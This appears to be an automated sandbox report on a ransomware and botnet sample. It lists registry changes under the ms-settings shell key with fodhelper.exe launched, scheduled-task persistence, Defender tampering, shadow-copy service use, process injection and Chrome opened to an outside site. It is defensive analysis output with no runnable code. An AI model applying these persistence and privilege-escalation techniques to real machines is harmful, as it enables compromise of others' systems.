2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings\shell 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings\shell\open 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2776 schtasks.exe 1832 schtasks.exe 4604 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3456 powershell.exe 3456 powershell.exe 4460 chrome.exe 4460 chrome.exe 3456 powershell.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3456 powershell.exe Token: SeShutdownPrivilege 4460 chrome.exe Token: SeCreatePagefilePrivilege 4460 chrome.exe Token: SeIncreaseQuotaPrivilege 2292 WMIC.exe Token: SeSecurityPrivilege 2292 WMIC.exe Token: SeTakeOwnershipPrivilege 2292 WMIC.exe Token: SeLoadDriverPrivilege 2292 WMIC.exe Token: SeSystemProfilePrivilege 2292 WMIC.exe Token: SeSystemtimePrivilege 2292 WMIC.exe Token: SeProfSingleProcessPrivilege 2292 WMIC.exe Token: SeIncBasePriorityPrivilege 2292 WMIC.exe Token: SeCreatePagefilePrivilege 2292 WMIC.exe Token: SeBackupPrivilege 2292 WMIC.exe Token: SeRestorePrivilege 2292 WMIC.exe Token: SeShutdownPrivilege 2292 WMIC.exe Token: SeDebugPrivilege 2292 WMIC.exe Token: SeSystemEnvironmentPrivilege 2292 WMIC.exe Token: SeRemoteShutdownPrivilege 2292 WMIC.exe Token: SeUndockPrivilege 2292 WMIC.exe Token: SeManageVolumePrivilege 2292 WMIC.exe Token: 33 2292 WMIC.exe Token: 34 2292 WMIC.exe Token: 35 2292 WMIC.exe Token: 36 2292 WMIC.exe Token: SeBackupPrivilege 1452 vssvc.exe Token: SeRestorePrivilege 1452 vssvc.exe Token: SeAuditPrivilege 1452 vssvc.exe Token: SeShutdownPrivilege 4460 chrome.exe Token: SeCreatePagefilePrivilege 4460 chrome.exe Token: SeIncreaseQuotaPrivilege 2292 WMIC.exe Token: SeSecurityPrivilege 2292 WMIC.exe Token: SeTakeOwnershipPrivilege 2292 WMIC.exe Token: SeLoadDriverPrivilege 2292 WMIC.exe Token: SeSystemProfilePrivilege 2292 WMIC.exe Token: SeSystemtimePrivilege 2292 WMIC.exe Token: SeProfSingleProcessPrivilege 2292 WMIC.exe Token: SeIncBasePriorityPrivilege 2292 WMIC.exe Token: SeCreatePagefilePrivilege 2292 WMIC.exe Token: SeBackupPrivilege 2292 WMIC.exe Token: SeRestorePrivilege 2292 WMIC.exe Token: SeShutdownPrivilege 2292 WMIC.exe Token: SeDebugPrivilege 2292 WMIC.exe Token: SeSystemEnvironmentPrivilege 2292 WMIC.exe Token: SeRemoteShutdownPrivilege 2292 WMIC.exe Token: SeUndockPrivilege 2292 WMIC.exe Token: SeManageVolumePrivilege 2292 WMIC.exe Token: 33 2292 WMIC.exe Token: 34 2292 WMIC.exe Token: 35 2292 WMIC.exe Token: 36 2292 WMIC.exe Token: SeShutdownPrivilege 4460 chrome.exe Token: SeCreatePagefilePrivilege 4460 chrome.exe Token: SeDebugPrivilege 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 4460 chrome.exe Token: SeCreatePagefilePrivilege 4460 chrome.exe Token: SeShutdownPrivilege 4460 chrome.exe Token: SeCreatePagefilePrivilege 4460 chrome.exe Token: SeIncBasePriorityPrivilege 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeDebugPrivilege 5796 tasklist.exe Token: SeDebugPrivilege 5516 NETSTAT.EXE Token: SeDebugPrivilege 4628 whoami.exe Token: SeIncreaseQuotaPrivilege 2444 WMIC.exe Token: SeSecurityPrivilege 2444 WMIC.exe Token: SeTakeOwnershipPrivilege 2444 WMIC.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of WriteProcessMemory 63 IoCs
description pid Process procid_target PID 4392 wrote to memory of 4460 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 85 PID 4460 wrote to memory of 4516 4460 chrome.exe 86 PID 4392 wrote to memory of 3456 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 87 PID 4392 wrote to memory of 5928 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 89 PID 4392 wrote to memory of 1996 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 91 PID 4392 wrote to memory of 3784 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 93 PID 4392 wrote to memory of 4608 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 95 PID 4392 wrote to memory of 3084 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 97 PID 4392 wrote to memory of 5388 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 99 PID 4392 wrote to memory of 4708 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 101 PID 4460 wrote to memory of 5832 4460 chrome.exe 103 PID 4460 wrote to memory of 5832 4460 chrome.exe 103 PID 4460 wrote to memory of 5840 4460 chrome.exe 104 PID 4460 wrote to memory of 3980 4460 chrome.exe 105 PID 4460 wrote to memory of 3980 4460 chrome.exe 105 PID 4392 wrote to memory of 540 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 106 PID 4392 wrote to memory of 3752 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 108 PID 4460 wrote to memory of 5228 4460 chrome.exe 109 PID 4460 wrote to memory of 6032 4460 chrome.exe 110 PID 4460 wrote to memory of 5228 4460 chrome.exe 109 PID 4460 wrote to memory of 6032 4460 chrome.exe 110 PID 4460 wrote to memory of 5812 4460 chrome.exe 112 PID 4460 wrote to memory of 5812 4460 chrome.exe 112 PID 4392 wrote to memory of 2468 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 113 PID 4392 wrote to memory of 4584 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 115 PID 4392 wrote to memory of 1808 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 117 PID 4392 wrote to memory of 2292 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 119 PID 3752 wrote to memory of 5276 3752 fodhelper.exe 121 PID 4460 wrote to memory of 1220 4460 chrome.exe 126 PID 4460 wrote to memory of 1220 4460 chrome.exe 126 PID 4392 wrote to memory of 3800 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 127 PID 4392 wrote to memory of 2776 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 176 PID 4392 wrote to memory of 1832 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 130 PID 4392 wrote to memory of 3432 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 135 PID 4392 wrote to memory of 1464 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 137 PID 4392 wrote to memory of 4024 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 138 PID 4392 wrote to memory of 3480 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 139 PID 4392 wrote to memory of 1576 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 140 PID 4392 wrote to memory of 2712 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 141 PID 4392 wrote to memory of 1720 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 142 PID 4392 wrote to memory of 4604 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 144 PID 4392 wrote to memory of 612 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 151 PID 4392 wrote to memory of 3756 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 152 PID 4024 wrote to memory of 5796 4024 cmd.exe 153 PID 1720 wrote to memory of 5516 1720 cmd.exe 154 PID 2712 wrote to memory of 5588 2712 cmd.exe 155 PID 1576 wrote to memory of 3816 1576 cmd.exe 156 PID 3480 wrote to memory of 4628 3480 cmd.exe 157 PID 1464 wrote to memory of 280 1464 cmd.exe 158 PID 3432 wrote to memory of 5416 3432 cmd.exe 159 PID 3432 wrote to memory of 2444 3432 cmd.exe 161 PID 4460 wrote to memory of 5964 4460 chrome.exe 162 PID 4392 wrote to memory of 5724 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 163 PID 4392 wrote to memory of 5984 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 164 PID 4392 wrote to memory of 5264 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 166 PID 4392 wrote to memory of 5380 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 167 PID 4392 wrote to memory of 2704 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 171 PID 4392 wrote to memory of 1656 4392 2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe 173 PID 5264 wrote to memory of 5660 5264 net.exe 175 PID 4460 wrote to memory of 5016 4460 chrome.exe 182 PID 4460 wrote to memory of 3108 4460 chrome.exe 183 PID 4460 wrote to memory of 960 4460 chrome.exe 184 PID 4460 wrote to memory of 4020 4460 chrome.exe 201 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://barbaramassaad.com2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4460 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffc5998c728,0x7ffc5998c734,0x7ffc5998c7403⤵PID:4516
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1672,i,11075359831329012452,16727153908835724433,262144 --field-trial-handle=2016,i,18407393776313749272,10864254349127990213,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2012 /prefetch:23⤵PID:5832
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1560,i,10899449425534536720,13210087590511660088,524288 --field-trial-handle=2016,i,18407393776313749272,10864254349127990213,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2244 /prefetch:33⤵
- System Time Discovery
PID:5840
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2360,i,10533080456525204865,2820540707684684217,524288 --field-trial-handle=2016,i,18407393776313749272,10864254349127990213,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2432 /prefetch:83⤵PID:3980
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3124,i,13234642215167922499,3201867918367994766,2097152 --field-trial-handle=2016,i,18407393776313749272,10864254349127990213,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3268 /prefetch:13⤵PID:5228
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3136,i,2966782095805771770,5275126792969051739,2097152 --field-trial-handle=2016,i,18407393776313749272,10864254349127990213,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3288 /prefetch:13⤵PID:6032
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4388,i,4927382253198340791,17919346791929620050,2097152 --field-trial-handle=2016,i,18407393776313749272,10864254349127990213,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4436 /prefetch:23⤵PID:5812
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4676,i,2869701902406027384,6183040985354935042,2097152 --field-trial-handle=2016,i,18407393776313749272,10864254349127990213,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4692 /prefetch:13⤵PID:1220
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5460,i,3999462876661540176,1432547025083007276,524288 --field-trial-handle=2016,i,18407393776313749272,10864254349127990213,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5504 /prefetch:83⤵PID:5964
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5904,i,4594260656352093587,18257288900284320177,524288 --field-trial-handle=2016,i,18407393776313749272,10864254349127990213,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5788 /prefetch:83⤵PID:5016
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5776,i,3288578875348207452,12603387731552212688,524288 --field-trial-handle=2016,i,18407393776313749272,10864254349127990213,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5908 /prefetch:83⤵PID:3108
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5784,i,15508569165124596263,13646099334416671824,524288 --field-trial-handle=2016,i,18407393776313749272,10864254349127990213,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5916 /prefetch:83⤵PID:960
-
-
